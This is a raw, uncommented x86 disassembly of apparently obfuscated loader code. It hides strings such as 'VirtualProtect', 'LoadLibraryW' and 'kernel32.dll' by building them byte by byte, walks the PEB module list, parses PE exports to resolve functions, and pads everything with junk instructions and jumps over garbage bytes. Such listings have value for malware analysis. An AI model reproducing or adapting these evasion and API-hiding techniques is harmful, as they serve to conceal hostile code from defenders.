add esi, 0x5ef2
sub esi, 0x5200
xor esi, 0x14ba4
pop esi
push edx
jmp 0x49caa9
pop edx
push edi
jmp 0x49cab2
add edi, 0x211b
xor edi, 0x110cc
pop edi
mov edx, dword [ebp - 0x34]
add edx, 0xb
mov dword [ebp - 0x34], edx
push esi
push ecx
add esp, 4
jmp 0x49cad4
call 0x49cae0
add byte [eax], bh
xor al, byte [ecx + 0x3e]
aaa
cmp al, 0x83
les eax, [ecx + eax*4]
invalid
jmp 0x49c734
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0x22c]
je 0x49ecfe
push eax
sub eax, 0x12a64
pop eax
push eax
push edx
add esp, 4
sub eax, 0xf184
jmp 0x49cea9
call 0x49ceb5
add byte [ecx], bh
aaa
cmp al, byte [edx + 0x3a]
aaa
add esp, 4
pop eax
push ebx
xor ebx, 0xfe3d
pop ebx
mov byte [ebp - 0x184], 0x56
mov byte [ebp - 0x183], 0x69
mov byte [ebp - 0x182], 0x72
mov byte [ebp - 0x181], 0x74
mov byte [ebp - 0x180], 0x75
mov byte [ebp - 0x17f], 0x61
mov byte [ebp - 0x17e], 0x6c
mov byte [ebp - 0x17d], 0x50
mov byte [ebp - 0x17c], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x74
mov byte [ebp - 0x179], 0x65
mov byte [ebp - 0x178], 0x63
mov byte [ebp - 0x177], 0x74
mov byte [ebp - 0x176], 0
mov dword [ebp - 0x47c], 0
push edx
push edx
add esp, 4
jmp 0x49cf41
pop edx
push ebx
or ebx, 0xb6b1
and ebx, 0xfc90
add ebx, 0x6667
add ebx, 0x1906
pop ebx
push eax
jmp 0x49cf65
pop eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1bc], eax
push esi
sub esi, 0x1540b
jmp 0x49cf82
call fcn.0049cf91
add byte [edx], dh
inc esp
push eax
dec esp
dec esp
inc ebx
dec edi
dec ebp
dec eax
jmp 0x49c5a0
jmp 0x49ed14
jmp 0x49ed14
mov byte [ebp - 0x144], 0x45
mov byte [ebp - 0x143], 0x78
mov byte [ebp - 0x142], 0x69
mov byte [ebp - 0x141], 0x74
mov byte [ebp - 0x140], 0x50
mov byte [ebp - 0x13f], 0x72
mov byte [ebp - 0x13e], 0x6f
mov byte [ebp - 0x13d], 0x63
mov byte [ebp - 0x13c], 0x65
mov byte [ebp - 0x13b], 0x73
mov byte [ebp - 0x13a], 0x73
mov byte [ebp - 0x139], 0
mov edx, dword [ebp - 0x4ac]
mov dword [ebp - 0x1b8], edx
push ecx
push eax
add esp, 4
or ecx, 0x6bca
or ecx, 0x5eac
pop ecx
push ebx
jmp 0x49ed8d
add ebx, 0xc01e
pop ebx
push eax
push esi
add esp, 4
and eax, 0x438b
add eax, 0xf6d1
pop eax
push edi
and edi, 0xcc33
or edi, 0x1837c
xor edi, 0x37
call 0x49edc8
add byte [esi + 0x3c], cl
cmp eax, dword [esi + 0x42]
aaa
inc edi
cmp byte [ebx + eax*4 - 0x3c], al
add al, 0x5f
push eax
push ebx
add esp, 4
xor eax, 0xb545
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x43c], eax
push esi
push ebx
add esp, 4
sub esi, 0x5b48
and esi, 0x8b78
or esi, 0x1672f
pop esi
push esi
xor esi, 0x106a3
pop esi
push edi
push ecx
add esp, 4
add edi, 0x6abc
and edi, 0x8111
pop edi
mov ecx, dword [ebp - 0x43c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x440], edx
push eax
or eax, 0x99e1
pop eax
push ecx
push ebx
add esp, 4
or ecx, 0x2d62
call 0x49ee47
add byte [ecx], bh
inc edx
inc edi
inc edx
dec ebp
inc ebx
cmp al, 0x38
inc ecx
add esp, 4
and ecx, 0xcfec
sub ecx, 0x6b9b
pop ecx
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x49eeaa
push ecx
call 0x49ee7a
add byte [0x3f374450], dh
xor al, 0x3e
add esp, 4
or ecx, 0x9cb1
pop ecx
push esi
add esi, 0x1190d
pop esi
push eax
push ebx
add esp, 4
jmp 0x49ee97
add eax, 0x16a4a
pop eax
mov dword [ebp - 0x74], 0
jmp 0x49f236
push eax
xor eax, 0x2b22
add eax, 0x8bd0
or eax, 0xc177
pop eax
push edx
call 0x49eecc
add byte [edi], bh
cmp ecx, dword [ecx + 0x34]
cmp dword [esi], edi
inc ecx
add esp, 4
add edx, 0x5f0a
or edx, 0x16579
pop edx
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
jne 0x49ef35
push edi
push ecx
add esp, 4
xor edi, 0x7c1d
add edi, 0x5f1e
add edi, 0x12566
pop edi
push edx
push esi
add esp, 4
jmp 0x49ef1c
and edx, 0x16641
add edx, 0x73ba
pop edx
mov dword [ebp - 0x74], 0
jmp 0x49f236
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0xb0], ecx
push edx
push esi
add esp, 4
and edx, 0x265e
call 0x49ef5b
add byte [edi], dh
push eax
dec edx
cmp byte [edx + 0x47], al
dec esp
dec edx
xor al, byte [ebx - 0x157efb3c]
and al, 1
add byte [edx + 0x56], bl
jmp 0x49ef6c
add esi, 0x14350
pop esi
lea edx, [ebp - 0x2b0]
mov dword [ebp - 0x260], edx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x25c], ecx
push eax
add eax, 0x2a10
pop eax
push esi
jmp 0x49efa0
pop esi
push ebx
jmp 0x49efab
pop ebx
push esi
add esi, 0x249e
sub esi, 0x139c3
and esi, 0x1199e
pop esi
xor edx, edx
mov word [ebp - 0x48], dx
xor eax, eax
mov word [ebp - 0x20], ax
push ecx
push edx
add esp, 4
or ecx, 0x3f6e
pop ecx
push ecx
or ecx, 0x4bf5
sub ecx, 0x8b39
sub ecx, 0xe6c0
call 0x49effa
add byte [edx + 0x43], al
inc esp
aas
cmp byte [esp + esi], dh
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x25c]
mov dx, word [ecx]
mov word [ebp - 0x1d6], dx
mov eax, dword [ebp - 0x25c]
add eax, 2
mov dword [ebp - 0x25c], eax
mov cx, word [ebp - 0x1d6]
mov word [ebp - 0x48], cx
push edx
or edx, 0x71c8
sub edx, 0xd438
add edx, 0x11022
pop edx
push ebx
push esi
add esp, 4
sub ebx, 0x307c
add ebx, 0x6cf9
add ebx, 0x9ae3
sub ebx, 0x16d7f
pop ebx
mov edx, dword [ebp - 0x260]
mov ax, word [edx]
mov word [ebp - 0x1e0], ax
mov ecx, dword [ebp - 0x260]
add ecx, 2
mov dword [ebp - 0x260], ecx
mov dx, word [ebp - 0x1e0]
mov word [ebp - 0x20], dx
push edx
xor edx, 0x2e00
call 0x49f09a
add byte [ebx + 0x33], cl
push eax
xor bh, byte ds:[edi]
cmp ecx, dword [ecx - 0x7d]
les eax, [ecx + eax*4]
cwde
add dword [bx + si], eax
pop edx
push ebx
call 0x49f0b2
add byte [edx], bh
aas
inc esp
xor eax, 0x83484e44
les eax, [ebx + ebx*2]
movzx eax, word [ebp - 0x20]
test eax, eax
jne 0x49f0d3
movzx ecx, word [ebp - 0x48]
movzx edx, word [ebp - 0x20]
sub ecx, edx
mov dword [ebp - 0x334], ecx
jmp 0x49f156
movzx eax, word [ebp - 0x48]
movzx ecx, word [ebp - 0x20]
cmp eax, ecx
je 0x49efcc
movzx edx, word [ebp - 0x48]
xor edx, 0x20
movzx eax, word [ebp - 0x20]
cmp edx, eax
je 0x49efcc
push eax
sub eax, 0xd4df
or eax, 0xf370
add eax, 0x50c2
xor eax, 0xe8f5
pop eax
push ecx
push esi
add esp, 4
add ecx, 0xada1
and ecx, 0x1b5f
and ecx, 0xc7d8
pop ecx
movzx ecx, word [ebp - 0x48]
movzx edx, word [ebp - 0x20]
cmp ecx, edx
jge 0x49f140
mov dword [ebp - 0x330], 0xffffffff
jmp 0x49f14a
mov dword [ebp - 0x330], 1
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x49f19f
push ecx
and ecx, 0x4ac9
or ecx, 0xf2d7
call 0x49f179
add byte [edx + 0x4e], cl
dec edi
aas
dec eax
dec ecx
cmp eax, dword [ebx + 0x505904c4]
push esi
add esp, 4
sub eax, 0x22ca
jmp 0x49f190
pop eax
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0x74], ecx
jmp 0x49f236
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
mov dword [ebp - 0xb0], eax
push eax
jmp 0x49f1b3
xor eax, 0x27c8
xor eax, 0x18f9
pop eax
push edx
or edx, 0x8aec
call 0x49f1d6
add byte [edi], dh
dec esi
dec ecx
xor dh, byte [edx]
dec ebx
dec eax
xor esi, dword [0xeb04c483]
add ecx, dword [edx + 0x3f]
cmp byte [edx - 0x75], bl
lea edx, [eax - 1]
invalid
cmp dword [ebp - 0x74], 0
jne 0x49fed1
push esi
push ebx
add esp, 4
sub esi, 0x15b2e
sub esi, 0x1766f
xor esi, 0x3ffa
pop esi
push edi
or edi, 0x5eab
sub edi, 0x130f6
and edi, 0xf268
or edi, 0x63de
pop edi
mov eax, 0x6b
mov word [ebp - 0x3a0], ax
mov ecx, 0x65
mov word [ebp - 0x39e], cx
mov edx, 0x72
mov word [ebp - 0x39c], dx
mov eax, 0x6e
mov word [ebp - 0x39a], ax
mov ecx, 0x65
mov word [ebp - 0x398], cx
mov edx, 0x6c
mov word [ebp - 0x396], dx
mov eax, 0x33
mov word [ebp - 0x394], ax
mov ecx, 0x32
mov word [ebp - 0x392], cx
mov edx, 0x2e
mov word [ebp - 0x390], dx
mov eax, 0x64
mov word [ebp - 0x38e], ax
mov ecx, 0x6c
mov word [ebp - 0x38c], cx
mov edx, 0x6c
mov word [ebp - 0x38a], dx
xor eax, eax
mov word [ebp - 0x388], ax
push ebx
add ebx, 0xf1b4
pop ebx
push edx
push ebx
add esp, 4
call 0x49f325
add byte [ecx], bh
dec eax
xor cl, byte [ebp + ecx*2 + 0x49]
inc esi
add esp, 4
pop edx
push esi
sub esi, 0x60e9
and esi, 0x147a5
or esi, 0xcb0d
pop esi
mov byte [ebp - 0x174], 0x4c
mov byte [ebp - 0x173], 0x6f
mov byte [ebp - 0x172], 0x61
mov byte [ebp - 0x171], 0x64
mov byte [ebp - 0x170], 0x4c
mov byte [ebp - 0x16f], 0x69
mov byte [ebp - 0x16e], 0x62
mov byte [ebp - 0x16d], 0x72
mov byte [ebp - 0x16c], 0x61
mov byte [ebp - 0x16b], 0x72
mov byte [ebp - 0x16a], 0x79
mov byte [ebp - 0x169], 0x57
mov byte [ebp - 0x168], 0
push edi
push esi
add esp, 4
and edi, 0x2c87
pop edi
push ecx
sub ecx, 0x45a1
call 0x49f3b8
add byte [0x343e4d46], bh
xor eax, 0x4c48347
jmp 0x49f3c3
add ecx, 0x47dd
pop ecx
push eax
push ecx
add esp, 4
or eax, 0xec28
jmp 0x49f3dd
xor eax, 0x14e1a
pop eax
push edi
push ebx
add esp, 4
or edi, 0x7346
sub edi, 0x59d2
xor edi, 0x5d8
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x444], ecx
push ebx
push eax
add esp, 4
sub ebx, 0x14871
or ebx, 0x13e4b
add ebx, 0x3e5
pop ebx
push esi
xor esi, 0x6d86
and esi, 0x7a4d
or esi, 0x479d
and esi, 0xecb5
pop esi
mov edx, dword [ebp - 0x444]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x448], eax
push esi
push esi
add esp, 4
add esi, 0xc2c8
call 0x49f464
add byte [eax], bh
inc ecx
inc edx
aaa
cmp al, 0x43
inc ecx
cmp eax, 0x4c48348
and esi, 0x1672e
xor esi, 0x8344
pop esi
push edi
xor edi, 0x16c9d
pop edi
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0x338], ecx
cmp dword [ebp - 0x338], 0
jne 0x49f4d2
push ebx
jmp 0x49f49b
jmp 0x49f4a2
pop ebx
push edi
push edx
add esp, 4
or edi, 0x7ff4
pop edi
push edx
push ebx
add esp, 4
jmp 0x49f4bc
sub edx, 0x119c7
pop edx
mov dword [ebp - 0xd0], 0
jmp 0x49f867
push eax
push ecx
add esp, 4
and eax, 0x153fe
xor eax, 0x15914
sub eax, 0x9e03
pop eax
push ebx
add ebx, 0x2dee
or ebx, 0x18665
xor ebx, 0x159f7
xor ebx, 0xf25e
pop ebx
mov edx, dword [ebp - 0x338]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x270], ecx
cmp dword [ebp - 0x270], 0
jne 0x49f560
push ecx
push ecx
add esp, 4
and ecx, 0x6e6
and ecx, 0x11234
add ecx, 0x13f9a
xor ecx, 0x9bb
pop ecx
push eax
and eax, 0x126d6
sub eax, 0x1588a
xor eax, 0x7dbe
pop eax
mov dword [ebp - 0xd0], 0
jmp 0x49f867
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0xbc], edx
push esi
and esi, 0x1180b
sub esi, 0x445f
pop esi
push esi
push ecx
add esp, 4
add esi, 0x16c8a
pop esi
push edx
push esi
add esp, 4
or edx, 0x3f49
add edx, 0xf3e8
or edx, 0x1826
pop edx
lea eax, [ebp - 0x3a0]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x268], edx
push ebx
push eax
add esp, 4
sub ebx, 0x8c97
add ebx, 0xf839
jmp 0x49f5d2
pop ebx
push edi
push ebx
add esp, 4
add edi, 0x12268
or edi, 0x2ce4
or edi, 0x82a8
pop edi
xor eax, eax
mov word [ebp - 0x4c], ax
xor ecx, ecx
mov word [ebp - 0x24], cx
push edx
call 0x49f607
add byte [ecx + edi], dh
xor cl, byte [edi + 0x3e]
inc ebp
push eax
xor al, 0x4b
add esp, 4
or edx, 0xdc23
pop edx
push edx
push ebx
add esp, 4
add edx, 0x105b0
or edx, 0x5a41
and edx, 0x1ce7
pop edx
mov edx, dword [ebp - 0x268]
mov ax, word [edx]
mov word [ebp - 0x1d8], ax
mov ecx, dword [ebp - 0x268]
add ecx, 2
mov dword [ebp - 0x268], ecx
mov dx, word [ebp - 0x1d8]
mov word [ebp - 0x4c], dx
push edx
push edx
add esp, 4
jmp 0x49f65d
add edx, 0x11d58
pop edx
push eax
push eax
add esp, 4
add eax, 0xc7d6
call 0x49f67b
add byte [ecx*2 + 0x4d363733], bh
add esp, 4
add eax, 0x43fa
pop eax
mov eax, dword [ebp - 0x26c]
mov cx, word [eax]
mov word [ebp - 0x1da], cx
mov edx, dword [ebp - 0x26c]
add edx, 2
mov dword [ebp - 0x26c], edx
mov ax, word [ebp - 0x1da]
mov word [ebp - 0x24], ax
push ebx
push edx
add esp, 4
add ebx, 0x2129
or ebx, 0x7125
and ebx, 0x163b4
add ebx, 0x702e
pop ebx
push edx
and edx, 0x24ab
and edx, 0xab38
xor edx, 0x130ae
pop edx
movzx ecx, word [ebp - 0x24]
test ecx, ecx
jne 0x49f6fe
movzx edx, word [ebp - 0x4c]
movzx eax, word [ebp - 0x24]
sub edx, eax
mov dword [ebp - 0x340], edx
jmp 0x49f781
movzx ecx, word [ebp - 0x4c]
movzx edx, word [ebp - 0x24]
cmp ecx, edx
je 0x49f5f7
movzx eax, word [ebp - 0x4c]
xor eax, 0x20
movzx ecx, word [ebp - 0x24]
cmp eax, ecx
je 0x49f5f7
push ecx
call 0x49f730
add byte [0x403c4734], dh
cmp edi, dword [0x4c48341]
sub ecx, 0xfc81
call 0x49f749
add byte [ebx + edi + 0x37], al
cmp eax, dword [ebx + 0x36]
dec ebp
push eax
inc ebp
dec ebp
add esp, 4
add ecx, 0x875
pop ecx
movzx edx, word [ebp - 0x4c]
movzx eax, word [ebp - 0x24]
cmp edx, eax
jge 0x49f76b
mov dword [ebp - 0x33c], 0xffffffff
jmp 0x49f775
mov dword [ebp - 0x33c], 1
mov ecx, dword [ebp - 0x33c]
mov dword [ebp - 0x340], ecx
cmp dword [ebp - 0x340], 0
jne 0x49f7cd
push eax
xor eax, 0xd364
pop eax
push edi
push ecx
add esp, 4
add edi, 0x78fa
xor edi, 0x1500e
pop edi
push edi
push edx
add esp, 4
add edi, 0x168fc
pop edi
push ecx
push esi
add esp, 4
or ecx, 0x16c68
pop ecx
mov edx, dword [ebp - 0xbc]
mov dword [ebp - 0xd0], edx
jmp 0x49f867
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
mov dword [ebp - 0xbc], ecx
push esi
sub esi, 0xd6d9
pop esi
push ecx
call 0x49f7f4
add byte [esp + eax*2 + 0x44], cl
cmp dl, byte [eax + 0x3c]
dec eax
xor al, 0x4d
inc eax
add esp, 4
jmp 0x49f7fe
pop ecx
push edi
push eax
add esp, 4
jmp 0x49f80c
pop edi
mov edx, dword [ebp - 0xbc]
cmp edx, dword [ebp - 0x270]
je 0x49f82b
mov eax, dword [ebp - 0xbc]
cmp dword [eax + 0x30], 0
jne 0x49f56c
push edi
push edi
add esp, 4
jmp 0x49f838
pop edi
push edx
call 0x49f84a
add byte [ebx], bh
inc ebp
inc eax
cmp ecx, dword [ebx + 0x4b]
dec esp
inc ebx
inc esi
cmp eax, dword [ebx + 0x7e804c4]
add byte [eax], al
add byte [eax], al
xor eax, 0x3632473f
inc ebp
add esp, 4
pop edx
mov dword [ebp - 0xd0], 0
cmp dword [ebp - 0xd0], 0
jne 0x49f8b1
push ebx
push ebx
add esp, 4
jmp 0x49f87c
add ebx, 0x13eb8
pop ebx
push edx
and edx, 0x148be
sub edx, 0x1ac3
jmp 0x49f899
pop edx
push edx
add edx, 0x90e9
pop edx
mov dword [ebp - 0x1b8], 0
jmp 0x4a0978
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0xe0], 0
push edx
push edi
add esp, 4
and edx, 0xef1a
pop edx
push eax
call 0x49f8e3
add byte [esp + edi], bh
xor eax, 0x3f353732
cmp eax, 0x4c48343
xor eax, 0x5c0c
jmp 0x49f8f2
xor eax, 0x6578
pop eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0
jne 0x49f94e
push ecx
jmp 0x49f912
add ecx, 0xa7af
jmp 0x49f91e
pop ecx
push ebx
push eax
add esp, 4
and ebx, 0x5e18
xor ebx, 0x13626
xor ebx, 0x39b7
sub ebx, 0xf802
pop ebx
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x90], ecx
jmp 0x49fe28
mov edx, dword [ebp - 0x344]
mov eax, dword [ebp - 0x7c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x348], eax
jne 0x49f973
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x90], ecx
jmp 0x49fe28
push esi
push ebx
add esp, 4
xor esi, 0xbbfd
sub esi, 0x16971
sub esi, 0x17bf3
pop esi
push ecx
and ecx, 0xb0ab
sub ecx, 0x107ad
and ecx, 0xd197
or ecx, 0x15dfc
pop ecx
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x348]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x34c], edx
cmp dword [ebp - 0x34c], 0
jne 0x49fa09
push edx
jmp 0x49f9cf
call 0x49f9dc
add byte [esp + edi + 0x3f], cl
xor cl, byte [ebx + ecx*2 + 0x49]
add esp, 4
call 0x49f9ee
add byte [ecx], bh
dec ecx
cmp edi, dword [eax]
dec edi
cmp al, 0x36
cmp al, 0x37
add esp, 4
sub edx, 0x32d0
pop edx
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x90], eax
jmp 0x49fe28
push esi
xor esi, 0x13e38
sub esi, 0x680a
or esi, 0x344
pop esi
push eax
push ecx
add esp, 4
or eax, 0x4a55
call 0x49fa37
add byte [edi + 0x4b], al
inc esi
inc esi
cmp al, 0x4d
inc esp
inc ebx
xor eax, dword [ebx - 0x74a7fb3c]
dec ebp
test byte [ebx], al
lea esi, [esp + edi*8 - 0x72760001]
sub al, 0xff
invalid
cmp dword [ebp - 0x90], 0
je 0x49fed1
push ebx
add ebx, 0x2a1f
sub ebx, 0xcd72
and ebx, 0x4e31
and ebx, 0xe95e
pop ebx
push ecx
or ecx, 0x12c8f
call 0x49fe63
add byte [esp + edi + 0x4c], al
push eax
inc edx
inc ecx
xor al, 0x83
les eax, [ecx + ebx*2]
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x45c], ecx
mov edx, dword [ebp - 0x45c]
mov dword [ebp - 0x460], edx
lea eax, [ebp - 0x2b0]
push eax
call dword [ebp - 0x460]
test eax, eax
jne 0x49fed1
push eax
jmp 0x49fe98
sub eax, 0x17770
pop eax
push edi
push esi
add esp, 4
sub edi, 0xbca7
jmp 0x49feaf
pop edi
push ebx
push edx
add esp, 4
or ebx, 0xa94
or ebx, 0xeba7
pop ebx
mov dword [ebp - 0x1b8], 0
jmp 0x4a0978
push ecx
push esi
add esp, 4
call 0x49fee4
add byte [edx + ecx*2], dh
cmp ecx, dword [ecx + 0x4b]
cmp al, byte [esp + ecx*2 - 0x7d]
les eax, [ecx + eax*4]
jmp 0x4aeafe
push 0
call dword [ebp - 0x1b8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
inc edi
add al, dl
mov al, 0x4b
add byte [eax + 0x18004739], ch
sub eax, 0x3b300047
inc edi
add al, dh
pop ebp
dec ebx
add byte [esp + ebx*2 + 0x3c74004b], ch
inc edi
add ah, ch
pop esi
dec ebx
add byte [edx + ebp + 0x47], bh
add byte [edx + ebp*2], cl
inc edi
add byte [eax - 0x37], dl
inc edi
add byte [edx + ecx*8 + 0x47], ah
add byte [ebx + eax*8 - 0x35b7ffb9], bh
inc edi
add al, ah
dec ebx
dec ebx
add byte [edi], al
dec ebx
add byte [eax - 0x53ffb872], cl
jnp 0x4aeb92
add byte [eax - 0x57ffb47d], ch
or dword [ebx], 0x478f20
inc esp
pop dword [edi]
and al, 0x85
dec ebx
add byte [eax - 0x7a], bl
dec ebx
add byte [ebp + ecx*4 + 0x47], bl
add ah, bl
jmp 0xcbdaebb1
dec ebx
add byte [edx + edx*2 + 0x4b], cl
add al, cl
push edx
dec ebx
add byte [eax], dl
mov al, 0x4b
add byte [eax + edx*2 + 0x4b], bl
add byte [edi], dl
dec ebx
add byte [eax + 0x50004b88], dl
lodsb al, byte [esi]
dec ebx
add ah, ch
pop ebp
dec ebx
add byte [eax], al
add byte [0x4aebe600], al
add byte [edx], al
hlt